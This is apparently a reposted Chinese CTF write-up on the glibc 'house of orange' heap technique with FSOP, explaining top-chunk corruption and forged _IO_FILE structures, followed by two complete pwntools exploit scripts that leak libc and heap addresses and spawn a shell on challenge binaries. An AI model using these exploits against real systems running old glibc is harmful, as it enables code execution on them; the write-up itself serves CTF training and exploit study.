介绍:
house of orange是在程序没有free函数的情况下,通过修改top_chunk的size,在下一次申请超过top_chunk的大小的chunk时,就会把top chunk释放掉,送入unorted bin中,这样一来我们就获得一个在unsorted bin中的堆块,而通常不单单只是利用house of orange手法,还要搭配着FSOP攻击
适用版本:
glibc 2.23 -- 2.26
利用条件:
可以进行 unsortedbin attack
可以触发FSOP
攻击方法:
unsortedbin attack
伪造IO结构体
触发FSOP
原理分析:
简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中
当程序调用malloc进行分配,fastbin、smallbins、unsorted bin、largebins等均不满足分配要求时,_int_malloc函数会试图使用 top chunk,当 top chunk 也不能满足分配的要求,因此会执行如下分支:
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
我们再申请的chunk大小不能大于mmap的分配阈值,以实现利用sysmalloc函数通过 brk 拓展top_chunk
sysmalloc 函数中存在对 top chunk size 的 check:
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
top_chunk伪造的要求:
伪造的 size 必须要对齐到内存页
size 要大于 MINSIZE(0x10)
size 要小于之后申请的 chunk size + MINSIZE(0x10)
size 的 prev inuse 位必须为 1
为什么要对齐到内存页:
现代操作系统都是以内存页为单位进行内存管理的,一般内存页的大小是 4kb(0x1000),那么伪造的 size 就必须要对齐到这个尺寸
可以看到原来的4000是对于4kb(0x1000)对齐的
我们修改size为0xfc1后,满足了对齐到内存页的条件
所以我们一般情况下,对top_chunk的伪造都是直接在原本size的基础上直接砍掉前面的0x20000,只保留后面的低位即可
之后top_chunk会通过执行_int_free进入 unsorted bin 中
例题houseoforange_hitcon_2016:
默认都是保护全开
add:
edit:
edit功能没有对修改chunk大小进行限制,存在堆溢出漏洞
利用详解:
修改top_chunk的size,将其送入unsorted bin
分割top_chunk,以获取libc地址和heap地址
修改new_top_chunk大小,送入smallbin 的0x60部分
伪造IO结构体(_IO_list_all、IO_2_1_stderr、_IO_file_jumps)
exit退出,触发FSOP
house of orange:
修改top_chunk的size,将其送入unsorted bin
add(0x10,'a')
首先申请一个小堆块,可以看到会一次性生成了3个相0x20大小的堆块
pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(0x40,pl)
通过堆溢出修改top_chunk的size
add(0x1000,'b')
申请大于0xfa1大小的堆块,将top_chunk送入unsorted bin
分割top_chunk,以获取libc地址和heap地址
为了下面说明更加方便,我们将新分割出来的0x400大小的chunk命名为chunk1,被分割后的top_chunk命名为new_top_chunk
add(0x400,'c'*8)
show()
libc_base=l64()-0x3c5188
print('libc_base = '+hex(libc_base))
sys = libc_base + libc.sym['system']
io_list_all = libc_base + libc.sym['_IO_list_all']
edit(0x20,'d'*0x10)
show()
heap_base=u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0xc0
print('heap_base = '+hex(heap_base))
FSOP:
伪造_IO_list_all
修改new_top_chunk大小,送入smallbin 的0x60部分
我们最后攻击后,会将main_arena+88/96地址写入_IO_list_all,劫持IO结构体
但是main_arena+88/96处地址是不受我们控制的,也就是说我们无法直接通过在main_arena+88/96处布置来伪造_IO_list_all
而main_arena+88/96地址+0x68处也就是_chain字段,恰好是smallbin的0x60段
这也就是意味着我们可以通过将chunk送入smallbin的0x60段来篡改_chain字段指向的IO_2_1_stdout
pl='f'*0x400
pl+=p64(0)+p64(0x21)
pl+=p64(0)*2
#_IO_list_all
#_IO_2_1_stderr_
pl+='/bin/shx00'+p64(0x61) ##&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0)
pl+=p64(0)*13
pl+=p64(heap_base+0x4F0+0xD8)
#_IO_file_jumps
pl+=p64(0)*2+p64(sys)
edit(0x1000,pl)
将分割后产生的chunk1和程序生成的chunk(0x20)填满后,再将new_top_chunk的size修改为0x60,将其送入smallbin的0x60部分
#_IO_list_all
pl+='/bin/shx00'+p64(0x61) #&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0) #_chain
这样在攻击后,_IO_FILE_plus结构体的_chain就被篡改为了new_top_chunk的地址
也就是原本指向IO_2_1_stdout结构体的地址被我们篡改
伪造IO_2_1_stderr
#_IO_2_1_stderr_
pl+='/bin/shx00'+p64(0x61) ##&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0)
pl+=p64(0)*13
pl+=p64(heap_base+0x5c8) #vtable
我们通过堆溢出在new_top_chunk地址伪造IO_2_1_stdout结构体
主要是将vtable表中原本指向_IO_jump_t结构体的地址篡改为&vtable
#_IO_file_jumps
pl+=p64(0)*2+p64(sys)
申请新堆块来触发攻击
p.sendlineafter('Your choice : ',str(1))
完整exp:
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
#from ae64 import AE64
#from LibcSearcher import *
context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"
name = './pwn'
debug = 0
if debug:
p = remote('172.52.16.218',9999)
else:
p = process(name)
libcso = '/lib/x86_64-linux-gnu/libc-2.23.so'
#libcso = './libc-2.32.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
bss = elf.bss()
def add(size,content):
p.sendlineafter('Your choice : ',str(1))
p.sendlineafter('Length of name :',str(size))
p.sendafter('Name :',content)
p.sendlineafter('Price of Orange:',str(1))
p.sendlineafter('Color of Orange:',str(2))
def edit(size,content):
p.sendlineafter('Your choice : ',str(3))
p.sendlineafter('Length of name :',str(size))
p.sendafter('Name:',content)
p.sendlineafter('Price of Orange:',str(1))
p.sendlineafter('Color of Orange:',str(2))
def delete(index):
p.sendlineafter('4.shown',str(2))
p.sendlineafter('index:n',str(index))
def show():
p.sendlineafter('Your choice : ',str(2))
add(0x10,'a')
pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(0x40,pl)
add(0x1000,'b')
add(0x400,'c'*8)
show()
libc_base=l64()-0x3c5188
print('libc_base = '+hex(libc_base))
sys = libc_base + libc.sym['system']
io_list_all = libc_base + libc.sym['_IO_list_all']
edit(0x20,'d'*0x10)
show()
heap_base=u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0xc0
print('heap_base = '+hex(heap_base))
pl='f'*0x400
pl+=p64(0)+p64(0x21)
pl+=p64(sys)+p64(0)
pl+='/bin/shx00'+p64(0x61) ##&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0)
pl+=p64(0)*13
pl+=p64(heap_base+0x5c8)
pl+=p64(0)*2+p64(sys)
edit(0x1000,pl)
#dbg()
p.sendlineafter('Your choice : ',str(1))
itr()
2023第七届“楚慧杯”网络空间安全实践能力竞赛 nofree
edit:
和前一个题利用点一样,也是存在一个堆溢出的漏洞
所给的libc版本也是2.23,直接放ubuntu16里打即可
和前一个题一样的攻击思路
exp:
add_idx = 1
edit_idx = 2
show_idx = 3
def choice(cho):
sla('t >> ',cho)
def add(idx,size):
choice(add_idx)
p.sendlineafter('input idx: ',str(idx))
p.sendlineafter('input size: ',str(size))
def edit(idx,size,content):
choice(edit_idx)
p.sendlineafter('input idx: ',str(idx))
p.sendlineafter('input size: ',str(size))
p.sendafter('input content: ',content)
def show(idx):
choice(show_idx)
p.sendlineafter('input idx: ',str(idx))
add(0,0x10)
add(1,0x10)
pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xFC1)
edit(0,0x40,pl)
add(2,0x1000)
add(3,0x400)
show(3)
libc_base=l64()-0x3c5188
print('libc_base = '+hex(libc_base))
edit(3,0x20,'a'*0x10)
show(3)
heap_base=u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0x40
print('heap_base = '+hex(heap_base))
IO_list_all=libc_base + libc.sym['_IO_list_all']
sys = libc_base + libc.sym['system']
pl='b'*0x400
pl+='/bin/shx00'+p64(0x61)
pl+=p64(0)+p64(IO_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x450)
pl+=p64(0)*13
pl+=p64(heap_base+0x450+0xD8)
pl+=p64(0)*2+p64(sys)
edit(3,0x1000,pl)
choice(add_idx)
p.sendlineafter('input idx: ','4')
p.sendlineafter('input size: ','1280')
itr()
来源:【https://xz.aliyun.com/】,感谢【舒*满 】
原文始发于微信公众号(衡阳信安):house of orange & no free
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论